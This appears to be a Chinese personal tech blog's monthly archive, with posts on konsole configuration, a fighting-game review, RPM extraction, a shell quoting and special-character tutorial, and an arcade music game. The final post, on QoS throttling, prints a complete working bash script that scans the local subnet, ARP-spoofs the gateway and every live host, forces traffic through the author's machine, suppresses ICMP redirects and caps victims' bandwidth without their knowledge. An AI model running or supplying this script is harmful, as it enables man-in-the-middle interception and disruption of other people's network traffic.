momo zone

调核人的blog

Monthly Archives: 二月 2010

konsole 设置

主要是为了应用consolas 字体,konsole 默认不能识别,只能修改配置文件。这里记录一下

[$Version]
update_info=konsole.upd:kde2.2/r1,konsole.upd:kde3.0/r1

[Desktop Entry]
ActiveSession=0
AutoResizeTabs=false
DefaultSession=shell.desktop
DynamicTabHide=false
EncodingName=Default
Fullscreen=false
Height 1080=429
TabColor=0,0,0
TabViewMode=0
Width 1920=745
class=konsole-mainwindow#1
defaultfont=YaHei Consolas Hybrid,11,-1,5,50,0,0,0,0,0
history=1000
historyenabled=true
keytab=default
schema=Transparent_darkbg.schema
scrollbar=2
tabbar=2

[Notification Messages]
ConfirmCloseSession=false

[TipOfDay]
RunOnStart=false

blazblue PC 版 PSP 版 双修中

blazblue PC 版 PSP 版 双修中,苦练中

PC 版的和街机版的一模一样,不多说什么了,但杯具的是屏幕右上角有一色块,而且经常自动退出报错。 不管那么多了,还是玩psp版的方便。

但PSP的这个画面真的是很渣了, 真的连GGXX都不如,倒退了。另外还有音效,如果说街机/PS3/XB360/PC版的是调频立体声,那么PSP版的就是短波频道。拜托,容量多加一点能要死阿,我又不是不舍得多买一块卡。

总体来说BB系列的手感偏软,操作也不有不同(最有特色的是D键设定),但GGXX的老手都能适应。特殊键D 相当于一个必杀,3C相当于GGXX的2D ,这种设计确实比较新颖,有限的键位都被利用上了。

下面是PC 版的画面

再往下是惨不忍睹的PSP版的画面:

锯齿,马赛克,暴屏都有了~~ 这不是NDS才有的东西吗

提取 RPM 中的文件

rpm2cpio package.rpm | cpio -t

rpm2cpio logrotate-1.0-1.i386.rpm |cpio -ivd

shell 中的” ” 与’ ‘

当你在 shell prompt 后面敲打键盘、直到按下 Enter 的时候,

你输入的文字就是 command line 了,然后 shell 才会以行程的方式执行你所交给它的命令。

但是,你又可知道:你在 command line 输入的每一个文字,对 shell 来说,是有类别之分的呢?

简单而言(我不敢说这是精确的定议,注一),command line 的每一个 charactor ,分为如下两种:

* literal:也就是普通纯文字,对 shell 来说没特殊功能。

* meta:对 shell 来说,具有特定功能的特殊保留字符。

(注一:关于 bash shell 在处理 command line 时的顺序说明,

请参考 O’Reilly 出版社之 Learning the Bash Shell, 2nd Edition,第 177 – 180 页的说明,

尤其是 178 页的流程图 Figure 7-1 … )

Literal 没甚么好谈的,凡举 abcd、123456 这些"文字"都是 literal … (easy?)

但 meta 却常使我们困惑….. (confused?)

事实上,前两章我们在 command line 中已碰到两个机乎每次都会碰到的 meta :

* IFS:由 <space> 或 <tab> 或 <enter> 三者之一组成(我们常用 space )。

* CR:由 <enter> 产生。

IFS 是用来拆解 command line 的每一个词(word)用的,因为 shell command line 是按词来处理的。

而 CR 则是用来结束 command line 用的,这也是为何我们敲 <enter> 命令就会跑的原因。

除了 IFS 与 CR ,常用的 meta 还有:

= : 设定变量。

$ : 作变量或运算替换(请不要与 shell prompt 搞混了)。

> :重导向 stdout。

< :重导向 stdin。

|:命令管线。

& :重导向 file descriptor ,或将命令置于背境执行。

( ):将其内的命令置于 nested subshell 执行,或用于运算或命令替换。

{ }:将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围。

; :在前一个命令结束时,而忽略其返回值,继续执行下一个命令。

&& :在前一个命令结束时,若返回值为 true,继续执行下一个命令。

|| :在前一个命令结束时,若返回值为 false,继续执行下一个命令。

!:执行 history 列表中的命令

….

假如我们需要在 command line 中将这些保留字符的功能关闭的话,就需要 quoting 处理了。

在 bash 中,常用的 quoting 有如下三种方法:

* hard quote:’ ‘ (单引号),凡在 hard quote 中的所有 meta 均被关闭。

* soft quote: " " (双引号),在 soft quoe 中大部份 meta 都会被关闭,但某些则保留(如 $ )。(注二)

* escape : (反斜线),只有紧接在 escape (跳脱字符)之后的单一 meta 才被关闭。

( 注二:在 soft quote 中被豁免的具体 meta 清单,我不完全知道,

有待大家补充,或透过实作来发现及理解。 )

下面的例子将有助于我们对 quoting 的了解:

代码:

 

   $ A=B C   # 空格键未被关掉,作为 IFS 处理。

   $ C: command not found. (FIXME)

   $ echo $A

   

   $ A="B C"   # 空格键已被关掉,仅作为空格键处理。

   $ echo $A

   B C

在第一次设定 A 变量时,由于空格键没被关闭,command line 将被解读为:

* A=B 然后碰到<IFS>,再执行 C 命令

在第二次设定 A 变量时,由于空格键被置于 soft quote 中,因此被关闭,不再作为 IFS :

* A=B<space>C

事实上,空格键无论在 soft quote 还是在 hard quote 中,均会被关闭。Enter 键亦然:

代码:

 

   $ A=’B

   > C

   > ‘

   $ echo $A

   B

   C

在上例中,由于 <enter> 被置于 hard quote 当中,因此不再作为 CR 字符来处理。

这里的 <enter> 单纯只是一个断行符号(new-line)而已,由于 command line 并没得到 CR 字符,

因此进入第二个 shell prompt (PS2,以 > 符号表示),command line 并不会结束,

直到第三行,我们输入的 <enter> 并不在 hard quote 里面,因此并没被关闭,

此时,command line 碰到 CR 字符,于是结束、交给 shell 来处理。

上例的 <enter> 要是被置于 soft quote 中的话,也会同样被关闭,用 escape 亦可:

代码:

 

   $ A=B

   > C

   >

   $ echo $A

   B

   C

上例中,第一个 <enter> 跟第二个 <enter> 均被 escape 字符关闭了,因此也不作为 CR 来处理,

但第三个 <enter> 由于没被跳脱,因此作为 CR 结束 command line 。

至于 soft quote 跟 hard quote 的不同,主要是对于某些 meta 的关闭与否,以 $ 来作说明:

代码:

   $ A=B C

   $ echo "$A"

   B C

   $ echo ‘$A’

   $A

在第一个 echo 命令行中,$ 被置于 soft quote 中,将不被关闭,因此继续处理变量替换,

因此 echo 将 A 的变量值输出到荧幕,也就得到 "B C" 的结果。

在第二个 echo 命令行中,$ 被置于 hard quote 中,则被关闭,因此 $ 只是一个 $ 符号,

并不会用来作变量替换处理,因此结果是 $ 符号后面接一个 A 字母:$A 。

————————————–

练习与思考:如下结果为何不同?

代码:

   $ A=B C

   $ echo ‘"$A"’   # 最外面的是单引号

   "$A"

   $ echo "’$A’"   # 最外面的是双引号

   ‘B C’

   (提示:单引号及双引号,在 quoting 中均被关?#93;了。)

————————————–

在 CU 的 shell 版里,我发现有很多初学者的问题,都与 quoting 理解的有关。

比方说,若我们在 awk 或 sed 的命令参数中调用之前设定的一些变量时,常会问及为何不能的问题。

要解决这些问题,关键点就是:

* 区分出 shell meta 与 command meta

前面我们提到的那些 meta ,都是在 command line 中有特殊用途的,

比方说 { } 是将其内一系列 command line 置于不具名的函式中执行(可简单视为 command block ),

但是,awk 却需要用 { } 来区分出 awk 的命令区段(BEGIN, MAIN, END)。

若你在 command line 中如此输入:

代码:

 

$ awk {print $0} 1.txt

由于 { } 在 shell 中并没关闭,那 shell 就将 {print $0} 视为 command block ,

但同时又没有" ; "符号作命令区隔,因此就出现 awk 的语法错误结果。

要解决之,可用 hard quote :

代码:

 

$ awk ‘{print $0}’ 1.txt

上面的 hard quote 应好理解,就是将原本的 {、<space>、$(注三)、} 这几个 shell meta 关闭,

避免掉在 shell 中遭到处理,而完整的成为 awk 参数中的 command meta 。

( 注三:而其中的 $0 是 awk 内建的 field number ,而非 awk 的变量,

awk 自身的变量无需使用 $ 。)

要是理解了 hard quote 的功能,再来理解 soft quote 与 escape 就不难:

代码:

 

awk "{print $0}" 1.txt

awk {print $0} 1.txt

然而,若你要改变 awk 的 $0 的 0 值是从另一个 shell 变量读进呢?

比方说:已有变量 $A 的值是 0 ,那如何在 command line 中解决 awk 的 $$A 呢?

你可以很直接否定掉 hard quoe 的方案:

代码:

 

$ awk ‘{print $$A}’ 1.txt

那是因为 $A 的 $ 在 hard quote 中是不能替换变量的。

聪明的读者(如你!),经过本章学习,我想,应该可以解释为何我们可以使用如下操作了吧:

代码:

 

A=0

awk "{print $$A}" 1.txt

awk {print $$A} 1.txt

awk ‘{print $’$A’}’ 1.txt

awk ‘{print $’"$A"’}’ 1.txt     # 注:"$A" 包在 soft quote 中

shell特殊字符详解

1、{} 大括号:
             用法一:通配符扩展       
       eg: ls my_{finger,toe}s
             这条命令相当于如下命令的组合:
             ls my_fingers my_toes
       eg: mkdir {userA,userB,userC}-{home,bin,data}
             我们将得到 userA-home, userA-bin, userA-data, userB-home, userB-bin,userB-data,userC-home, userC-bin, userC-data,这几个目录
           用法二:可用于语句块的构造,语句之间用回车隔开。如果你想在某些使用单个语句的地方(比如在AND或OR列表中)使用多条语句,你可以把它们括在花括号{}中来构造一个语句块。
     eg: 
   {
         grep -v "$cdcatnum" $strack_file > $temp_file
         cat $temp_file > $strack_file
         echo
         cat -n file1
   }    (注:以上大括号中的四句命令够成了一个语句块)
        用法三:参数扩展
     ${name:-default} 使用一个默认值(一般是空值)来代替那些空的或者没有赋值的变量name;
     ${name:=default}使用指定值来代替空的或者没有赋值的变量name;
     ${name:?message}如果变量为空或者未赋值,那么就会显示出错误信息并中止脚本的执行同时返回退出码1。
     ${#name} 给出name的长度
     ${name%word} 从name的尾部开始删除与word匹配的最小部分,然后返回剩余部分
     ${name%%word} 从name的尾部开始删除与word匹配的最长部分,然后返回剩余部分
     ${name#word} 从name的头部开始删除与word匹配的最小部分,然后返回剩余部分
     ${name##word} 从name的头部开始删除与word匹配的最长部分,然后返回剩余部分
  (注,name为变量名,word为要匹配的字符串)
    用法三在处理字符串和未知变量时,是很有用的。


2、[] 中括号:

   用法一:通配符扩展:
          允许匹配方括号中任何一个单个字符
  eg: ls /[eh][to][cm]*
          相当于执行 ls /etc /home(若有/eom目录,就相当于会执行ls /etc /home /eom)
   注:在mkdir命令下不能扩展
 用法二:用于条件判断符号:
      []符号可理解为指向test命令的一个软链接,所以其用法可完全参照test,将test位置替换为[便可。
 eg: if [ "$?" != 0 ]    等价于    if test "$?" != 0
     then echo "Executes error"


3、`command` 反引号:`command`与$(command)的含义相同,都是返回当前执行命令的结果

 eg: #!/bin/sh
     for file in $(ls f*.sh);do
            lpr $file
     done
     exit 0
   该例实现了扩展f*.sh给出所有匹配模式的文件的名字。


4、’string’ 单引号 和 "string" 双引号

双引号:如果想在定义的变量中加入空格,就必须使用单引号或双引号,
   单、双引号的区别在于双引号转义特殊字符而单引号不转义特殊字符
 eg: $ heyyou=home
     $ echo '$heyyou'
     $ $heyyou    ($没有转义)
 eg: $ heyyou=home
     $ echo "$heyyou"
     $ home            (很明显,$转义了输出了heyyou变量的值)


5、$# 它的作用是告诉你引用变量的总数量是多少;

    $$ 它的作用是告诉你shell脚本的进程号;
    $*  以一个单字符串显示所有的脚本传递的参数。等价于$1 $2 $3.......;
    $@  与$*基本类似(参见序号7),但在数组赋值时有些不同;
    $? 前一个命令的退出码;
    $-  显示shell使用的当前选项;
    $!  最后一个后台运行的进程ID号。


6、$((…))语法:对括号内的表达式求值

 eg:
      #!/bin/sh
      x=0
      hile [ "$x" -ne 10 ];do
      echo $x
      x=$(($x+1))
      done
     exit 0


7、shell中几种特殊的参数变量的引用

    $1、$2、$3……${10}、${11}、${12}…… :表示脚本传入的的各个参数,注意当需表示两位数以后的参数时数字要用花括号括起。
    $@ 列出所有的参数,各参数用空格隔开
    $*: 列出所有的参数,各参数用环境变量IFS的第一个字符隔开


8、命令列表:

    AND列表   statement1   &&   statement2   &&    statement3     && …:只有在前面所有的命令都执行成功的情况下才执行后一条命令
    OR列表     statement1   ||   statement2   ||     statement3     || …:允许执行一系列命令直到有一条命令成功为止,其后所有命令将不再被执行
  eg:#!/bin/sh
         touch file_one
         rm -f file_two
         if [ -f file_one ] && echo "hello" && [ -f file_two ] && echo " there"
                    then
                                 echo "in if"
                    else
                                 echo "in else"
         fi
         exit 0
        上例的输出为:
         hello
         in else
        关于AND列表与OR列表,在逻辑判断中很使用,下面就举一个其最常用的例子:
        [ condition ] && command for true || command for false:
         当条件为真时,执行commandfor true ,当条件为假时,执行command for false


9、: 冒号:内建空指令,返回值为0

 eg: $ :
     $ echo $?
     $ 0
    while:   (该语句结构可实现一个无限循环)


10、; 分号: 在 shell 中,担任"连续指令"功能的符号就是"分号"

     eg:cd ~/backup ; mkdir startup ; cp ~/.* startup/.


11、# 井号:表示符号后面的是注解文字,不会被执行;

      *  匹配文件名中的任何字符,包括字符串;
     ? 匹配文件名中的任何单个字符。
      ~  代表使用者的 home 目录


12、 倒斜线:放在指令前,有取消 aliases(别名) 的作用;放在特殊符号前,则该特殊符号的作用消失;放在指令

     的最末端,表示指令连接下一行(使得回车符无效,只起换行作用)


14、! 感叹号:通常它代表反逻辑的作用,譬如条件侦测中,用 != 来代表"不等于"


15、** 次方运算:两个星号在运算时代表 "次方" 的意思

  eg:let "sus=2**3"
         echo "sus = $sus"
         $ sus = 8

音乐类游戏已经发展到这个样子了!!

春节期间瞎逛了一下街机厅,心想这么长时间没来,还是没有什么变化啊,就在此时眼前一亮 发现了一台与众不同的一台机器:

 
操作方式是全触摸屏,加上HD 画质和震动踏板以及环绕音响,那是相当的震撼,周边的几台音乐机黯然失色
 

再谈核心内容:音乐

大部分曲子是韩国的(是的,这个是棒子国的杰作 ),部分曲子相当入耳, 而且曲子相当多,差不多有50多首。

另外这个系列最大的特点就是BGA (background animation), 配合HD画质一下子就能抓住人的眼球。 我上去摸了两把,很快就不支了,但好在我手比脚灵活,lite 难度的曲子还能招架

附带两段视频:

http://player.youku.com/player.php/sid/XMTQyNDUzMzYw/v.swf
http://player.youku.com/player.php/sid/XMTE0OTg0MTcy/v.swf

http://player.youku.com/player.php/sid/XMTQ1MDg4MzU2/v.swf

利用Qos限速

首先介绍一下原理:利用arp欺骗将被限速机的默认路由的arp绑定为本机,然后在本机实行Qos策略 。

原理很简单,然后说一下必要的工具:
1.nmap 用来扫描活动的主机。
2.iproute2:有关
TCP/IP网络和流量控制的一系列工具
3.arposion:通常更多地用来防御ARP攻击,但也
可以实施ARP攻击(欺骗)。
还有一个条件就是启用本机的ip转发功能。echo 1 >/proc/sys/net/ipv4/ip_forward

最后使用如下脚本来组织上述工具进行限速(更新0.4版):
#!/bin/bash

# 作者:redsonic
# 更新历史:
# 0.1:第一个可执行版本
# 0.2:修正了多处bug
# 0.3:修正了多网卡情况下获得gateway错误的问题
# 0.4:修正了多处严重错误,以及发送重定向路由包的问题

VERSION="版本:0.4  ( http://www.rcjun.cn/arptc )"

if [[ $(id -u) -ne "0" ]]; then
    echo "运行该程序需要root权限。"
    exit 1
fi

IFACE=wlan0          #默认网卡接口
DRATE=100           #默认下行速率,单位:kbps
URATE=100            #默认上行速率,单位:kbps
SLEEP=60           #默认重新扫描网内存活计算机的时间间隔,单位:秒
PERTURB=10          #默认重新配置散列算法的时间间隔,单位:秒

#依赖程序路径设定
NMAP=/usr/bin/nmap
TC=/usr/sbin/tc
ARPOISON=/usr/sbin/arpoison
[[ -f /usr/local/sbin/arpoison ]] && ARPOISON=/usr/local/sbin/arpoison

CheckAttack ()
{
    if [ $(arp -n |grep $GWMAC |wc -l) -gt "1" ]; then
        echo ‘你的电脑很可能已经受到ARP攻击,程序不能正常运行。’
#       exit 1
    fi
}

Showdep ()
{
    echo ‘本程序依赖于:’
    echo -e "tNmaptthttp://nmap.org"
    echo -e "tIproute2thttp://linux-net.osdl.org/index.php/Iproute2"
    echo -e "tArpoisonthttp://arpoison.sourceforge.net"
    echo -e "n如果已经安装,请检查路径设置是否正确。n"
    exit 1
}

Howdo ()
{
    echo -e "$VERSION"
    echo -e "用法:arptc [参数] 动作"
    echo -e "nt参数tt说明"
    echo -e "t-i 接口tt网卡接口(默认:eth0)"
    echo -e "t-d 速率tt受控主机的下行总速率(单位:kbps,默认:100)"
    echo -e "t-u 速率tt受控主机的上行总速率(单位:kbps,默认:50)"
    echo -e "t-f 文件名t从文件读入IP地址(文件格式:每行一个IP)"
    echo -e "t-h IP[,IP]t指定目标IP(","号分隔,默认:自己的IP所在的C类网段)"
    echo -e "t-e IP[,IP]t排除的IP地址(","号分隔)"
    echo -e "t-s 时间tt重新扫描存活计算机的时间间隔(单位:秒,默认:120)"
    echo -e "t-p 时间tt重新配置散列算法的时间间隔(单位:秒,默认:10)"
    echo -e "t-gtt只执行控制下行相关操作(只欺骗网关)"
    echo -e "t-att只执行ARP欺骗相关操作,不修改TC限速规则"
    echo -e "t-vtt在受控主机列表显示所有受控主机(默认10个)"
    echo -e "t-Dtt作为守护进程运行"
    echo -e "t-ctt不检查电脑是否已经受到ARP攻击,强制运行。"
    echo -e "t-Vtt显示版本号"
    echo -e "nt动作tt说明"
    echo -e "tstarttt开始运行"
    echo -e "tstatustt查看程序是否处于运行状态"
    echo -e "tstoptt停止ARP欺骗并清除TC限速规则("-a" 选项不清除TC限速规则)"
    echo -e "thelptt此帮助"
    echo -e "n示例:"
    echo -e "arptc -f ../ipfile -D -u 100 -d 200 -s 300 start"
    echo -e "arptc -h 192.168.0.0/24 -e 192.168.0.2,192.168.0.3 start"
    echo -e "n关机前请不要忘记用 "arptc stop" 命令关闭程序,否则会造成受控主机断线。"
    exit 0
}

Scan ()
{
    if [[ -n $nmap_exclude ]] && [[ -n $nmap_iL ]]; then
        $NMAP -e $IFACE -sP -n -iL $nmap_iL –exclude $MYIP,$GWIP,$nmap_exclude >/tmp/arptc.nmaplog
    elif [[ -n $nmap_exclude ]] && [[ -n $nmap_target ]]; then
        $NMAP -e $IFACE -sP -n $nmap_target –exclude $MYIP,$GWIP,$nmap_exclude >/tmp/arptc.nmaplog
    elif [[ -n $nmap_target ]]; then
        $NMAP -e $IFACE -sP -n $nmap_target –exclude $MYIP,$GWIP >/tmp/arptc.nmaplog
    elif [[ -n $nmap_iL ]]; then
        $NMAP -e $IFACE -sP -n -iL $nmap_iL –exclude $MYIP,$GWIP >/tmp/arptc.nmaplog
    else
        $NMAP -e $IFACE -sP -n $MYIP/24 –exclude $MYIP,$GWIP >/tmp/arptc.nmaplog
    fi
    grep "^Host.*to be up.$" /tmp/arptc.nmaplog >/dev/null
    if [ "$?" = "1" ]; then
        echo ‘没搜索到存活计算机。’
        #exit 1
    fi
    sed -n "s/^Host (S+).*/1/p" /tmp/arptc.nmaplog >/tmp/arptc.ip
    sed -n "s/^MAC Address: (S+).*/1/p" /tmp/arptc.nmaplog >/tmp/arptc.mac
}

TcStart ()
{
    ip=($(cat /tmp/arptc.ip))
    local minrate num
    let mindrate=$DRATE/${#ip[*]}
    let minurate=$URATE/${#ip[*]}
    U32="$TC filter add dev $IFACE protocol ip parent 1: u32"

    $TC qdisc del dev $IFACE root 2>/dev/null
    $TC qdisc add dev $IFACE root handle 1: htb
    $TC class add dev $IFACE parent 1: classid 1:1 htb rate ${DRATE}kbps
    $TC class add dev $IFACE parent 1: classid 1:2 htb rate ${URATE}kbps

    local i j
    j=2
    for i in `seq 0 $((${#ip[*]}-1))`; do
        ##下行
        let j=$j+1
        $TC class add dev $IFACE parent 1:1 classid 1:$j htb rate ${mindrate}kbps ceil ${DRATE}kbps
        $TC qdisc add dev $IFACE parent 1:$j handle $j: sfq perturb $PERTURB
        $U32 match ip dst ${ip[$i]} flowid 1:$j
        ##上行
        if [[ $opt_g != ‘yes’ ]]; then
            let j=$j+1
            $TC class add dev $IFACE parent 1:2 classid 1:$j htb rate ${minurate}kbps ceil ${URATE}kbps
            $TC qdisc add dev $IFACE parent 1:$j handle $j: sfq perturb $PERTURB
            $U32 match ip src ${ip[$i]} flowid 1:$j
        fi
    done
}

TcStop ()
{
    $TC qdisc del dev $IFACE root 2>/dev/null
    echo "TC流量控制规则已经删除。"
}

CheckForward ()
{
#    [[ `cat /proc/sys/net/ipv4/ip_forward` = "1" ]] || echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/ip_forward
}

ArpStart ()
{
    ip=($(cat /tmp/arptc.ip))
    mac=($(cat /tmp/arptc.mac))
    local i
    for i in `seq 0 $((${#ip[*]}-1))`; do
        ($ARPOISON -i $IFACE -d $GWIP -s ${ip[$i]} -t $GWMAC -r $MYMAC >/dev/null &)
        if [[ $opt_g != ‘yes’ ]]; then
            ($ARPOISON -i $IFACE -d ${ip[$i]} -s $GWIP -t ${mac[$i]} -r $MYMAC >/dev/null &)
        fi
    done
#    CMD=`service SuSEfirewall2_setup status |awk ‘$2 {print $6}’`
#if [ $CMD = ‘..unused’ ]
#then
#    service SuSEfirewall2_setup start
#    iptables -F
#    iptables -I OUTPUT -j ACCEPT
#    iptables -I OUTPUT -p icmp -j DROP
#    iptables -I INPUT -j ACCEPT
#    iptables -I FORWARD -j ACCEPT
#fi
sysctl -w net.ipv4.conf.all.send_redirects=0
sysctl -w net.ipv4.conf.default.send_redirects=0
sysctl -w net.ipv4.conf.$IFACE.send_redirects=0
}

ArpStop ()
{
    ip=($(cat /tmp/arptc.ip))
    mac=($(cat /tmp/arptc.mac))
    pkill -x arpoison || pkill -9 -x arpoison
    echo ‘正在停止ARP欺骗…’
    sleep 2
    if [[ `pgrep -x arpoison` ]]; then
        echo -e "ARP欺骗尚未停止。n请再次运行 "arptc stop"n或者尝试手动杀死 "arpoison" 进程并再次运行 "arptc stop" 清除TC控制规则及还原MAC地址。"
        exit 1
    else
        echo ‘ARP欺骗已经停止。’
    fi
    local i
    for i in `seq 0 $((${#ip[*]}-1))`; do
        $ARPOISON -i $IFACE -d $GWIP -s ${ip[$i]} -t $GWMAC -r ${mac[$i]} -n 1 >/dev/null
        if [[ $opt_g != ‘yes’ ]]; then
            $ARPOISON -i $IFACE -d ${ip[$i]} -s $GWIP -t ${mac[$i]} -r $GWMAC -n 1 >/dev/null
        fi
    done
    echo ‘MAC地址已经还原。’
#    service SuSEfirewall2_setup stop
sysctl -w net.ipv4.conf.all.send_redirects=1
sysctl -w net.ipv4.conf.default.send_redirects=1
sysctl -w net.ipv4.conf.$IFACE.send_redirects=1
}

ArpReStart ()
{
    pkill -x arpoison || pkill -9 -x arpoison
}

Show ()
{
    ip=($(cat /tmp/arptc.ip))
    mac=($(cat /tmp/arptc.mac))
    local j=$SLEEP
    for ((; j>=0; j–)); do
        clear
        echo -e "目前受控主机列表:nnIP地址ttMAC地址"
        local i
        for i in `seq 0 $((${#ip[*]}-1))`; do
            if (( $i == 9 )) && [[ $opt_v != ‘yes’ ]]; then
                echo "…"
                break
            fi
            echo -e "${ip[$i]}t${mac[$i]}"
        done
        echo -e "n共有 ${#ip[*]} 台受控主机。"
        echo -e "每台受控主机下行速率最低保证为:${mindrate}k/st最高为:${DRATE}k/s"
        if [[ $opt_g != ‘yes’ ]]; then
            echo -e "每台受控主机上行速率最低保证为:${minurate}k/st最高为:${URATE}k/s"
        fi
        echo -e "n距离下次重新扫描主机还有 $j 秒。"
        echo -e "退出请按 Ctrl+c ,然后运行 "arptc stop" 停止ARP欺骗及清除TC控制规则。"
        sleep 1
    done
}

Daemon ()
{
    while :; do
        Scan
        if [[ $opt_a != ‘yes’ ]]; then
            TcStart
        fi
        ArpReStart
        ArpStart
        sleep $SLEEP
    done
}

[ -f $NMAP ] && [ -f $TC ] && [ -f $ARPOISON ] || Showdep

while getopts ":i:h:e:f:u:d:s:p:gavDcV" opt; do
    case $opt in
        i) IFACE=$OPTARG ;;
        h) nmap_target=$(echo $OPTARG |sed "s/,/ /g") ;;
        e) nmap_exclude=$OPTARG ;;
        f) nmap_iL=$OPTARG ;;
        u) URATE=$OPTARG ;;
        d) DRATE=$OPTARG ;;
        s) SLEEP=$OPTARG ;;
        p) PERTURB=$OPTARG ;;
        g) opt_g=’yes’ ;;
        a) opt_a=’yes’ ;;
        v) opt_v=’yes’ ;;
        D) opt_D=’yes’ ;;
        c) opt_c=’yes’ ;;
        V) echo $VERSION;exit 0 ;;
    esac
done
shift $(($OPTIND – 1))

echo 1 > /proc/sys/net/ipv4/ip_forward
#自己的IP和MAC地址
MYIP=$(ifconfig $IFACE |sed -n "s/.*inet addr:(S+).*/1/p")
MYMAC=$(ifconfig $IFACE |sed -n "s/.*HWaddr (.*)/1/p")
#网关的IP和MAC地址
#GWIP=$(route -n |sed -n "s/^0.0.0.0s+(S+)s+0.0.0.0.*/1/p")
GWIP=192.168.1.1
GWMAC=$(ping -I $IFACE $GWIP -c1 &>/dev/null; arp -n |grep ^$GWIP[ ]\+ |grep $IFACE$|sed "s/s+/ /g" |cut -f3 -d ‘ ‘)
#echo ‘My IP:’    $MYIP
#echo ‘Interface:’    $IFACE
#echo ‘GW IP:’    $GWIP
#echo ‘GW MAC:’   $GWMAC
(( $# == 1 ))
&& [ "$1" = "start" ] || [ "$1" = "stop" ] || [ "$1" = "status" ] || [ "$1" = "help" ]
|| Howdo

[[ $opt_c != ‘yes’ ]] && CheckAttack

if [[ -n $nmap_target ]] && [[ -n $nmap_iL ]]; then
    echo ‘"-f", "-h" 选项不能同时使用。’
    exit 1
fi

case $1 in
    start)
        if [[ -f /tmp/arptc.pid ]]; then
            echo "程序已经运行。"
            exit 1
        fi
echo ‘My IP:’    $MYIP
echo ‘Interface:’    $IFACE
echo ‘GW IP:’    $GWIP
echo ‘GW MAC:’   $GWMAC

        echo ‘正在搜索存活计算机。。。’
        Scan
        if [[ $opt_a != ‘yes’ ]]; then
            echo ‘添加流量控制规则。。。’
            TcStart
        fi
        echo ‘检查数据包转发支持。。。’
        CheckForward
        echo ‘发送ARP欺骗。。。’
        ArpStart
        if [[ $opt_D = ‘yes’ ]]; then
            (Daemon)&
            echo $! >/tmp/arptc.pid
            echo ‘已作为守护进程运行。’
            exit 0
        fi
        echo $$ >/tmp/arptc.pid
        sleep 3
        Show
        while :; do
            clear
            echo ‘重新搜索存活计算机。。。’
            Scan
            if [[ $opt_a != ‘yes’ ]]; then
                echo ‘修改流量控制规则。。。’
                TcStart
            fi
            echo ‘重新发送ARP欺骗。。。’
            ArpReStart
            ArpStart; sleep 3
            Show
        done
    ;;
    status)
        if [[ -f /tmp/arptc.pid ]]; then
            echo "程序正在运行。"
        else
            echo "程序没有运行。"
        fi
        exit 0
    ;;
    stop)
        if [[ -f /tmp/arptc.pid ]]; then
            pid=$(cat /tmp/arptc.pid)
            kill $pid 2>/dev/null || kill -s 9 $pid 2>/dev/null
            rm /tmp/arptc.pid
            ArpStop
            [[ $opt_a != ‘yes’ ]] && TcStop
            rm /tmp/arptc.ip
            rm /tmp/arptc.mac
            rm /tmp/arptc.nmaplog
            exit 0
        elif [[ `pgrep -x arpoison` ]]; then
            ArpStop
            [[ $opt_a != ‘yes’ ]] && TcStop
            rm /tmp/arptc.ip
            rm /tmp/arptc.mac
            rm /tmp/arptc.nmaplog
            exit 0
        else
            echo "程序没有运行,同时也没有检测到ARP攻击进程。"
            exit 1
        fi
    ;;
    help)
        Howdo
        exit 0
    ;;
esac





示例:
arptc -f ../ipfile -D -u 100 -d 200 -s 300 start
arptc -h 192.168.0.0/24 -e 192.168.0.2,192.168.0.3 start

运行后会生成4个文件(执行 "arptc stop" 命令或重启后会删除):
/tmp/arptc.ip                   保存当前受控主机的IP地址
/tmp/arptc.mac                保存当前受控主机的MAC地址
/tmp/arptc.nmaplog          NMAP扫描结果
/tmp/arptc.pid                  保存程序运行时的PID

脚本中启用防火墙的原因是因为本机受到客户机的请求并转发包 之后会发给客户机一个icmp重定向路由信息,这样会导致客户端重复刷新路由表,而且arp缓存也会刷新成正确的。所以会导致Qos 控制失败。

这里再介绍一下流量监控程序:iftop
使用 iftop -B -i wlan0 :

   50.0Kb            100Kb             150Kb             200Kb        250Kb
└────────────────┴─────────────────┴─────────────────┴─────────────────┴─────────────────
162.250.140.219.broad.wh.hb.d  => 192.168.1.101                    854B    854B    854B
                               <=                                 16.2KB  16.2KB  16.2KB
58.50.210.116                  => 192.168.1.104                   4.22KB  4.22KB  4.22KB
                               <=                                  271B    271B    271B
192.168.1.104                  => 58.50.210.116                    271B    271B    271B
                               <=                                 2.81KB  2.81KB  2.81KB
192.168.1.101                  => 162.250.140.219.broad.wh.hb.d   1.75KB  1.75KB  1.75KB
                               <=                                  466B    466B    466B
192.168.1.101                  => 227.79.34.58.broad.xw.sh.dyna   1.96KB  1.96KB  1.96KB
                               <=                                    0B      0B      0B
192.168.1.105                  => google-public-dns-a.google.co    434B    434B    434B
                               <=                                  774B    774B    774B
59.53.48.143                   => 192.168.1.104                    280B    280B    280B
                               <=                                  772B    772B    772B
192.168.1.104                  => 59.53.48.143                     772B    772B    772B
                               <=                                  182B    182B    182B
114-36-208-235.dynamic.hinet.  => 192.168.1.104                     63B     63B     63B
                               <=                                  310B    310B    310B
192.168.1.105                  => 192.168.1.104                    354B    354B    354B
                               <=                                    0B      0B      0B
192.168.1.104                  => 114-36-208-235.dynamic.hinet.    310B    310B    310B
                               <=                                   32B     32B     32B
─────────────────────────────────────────────────────────────────────────────────────────
TX:             cumm:  24.7KB   peak:   12.4KB           rates:   12.4KB  12.4KB  12.4KB
RX:                    45.4KB           22.7KB                    22.7KB  22.7KB  22.7KB
TOTAL:                 70.1KB           35.1KB                    35.1KB  35.1KB  35.1KB
最上面一排是目前的带宽
中间是显示目前的连接状态,右边是该访问ip连接到本机2秒,10秒和40秒的平均流量
最下方显示的是合计信息:
TX 发送的速率
RX 接受的速率
total 接受和发送的总速率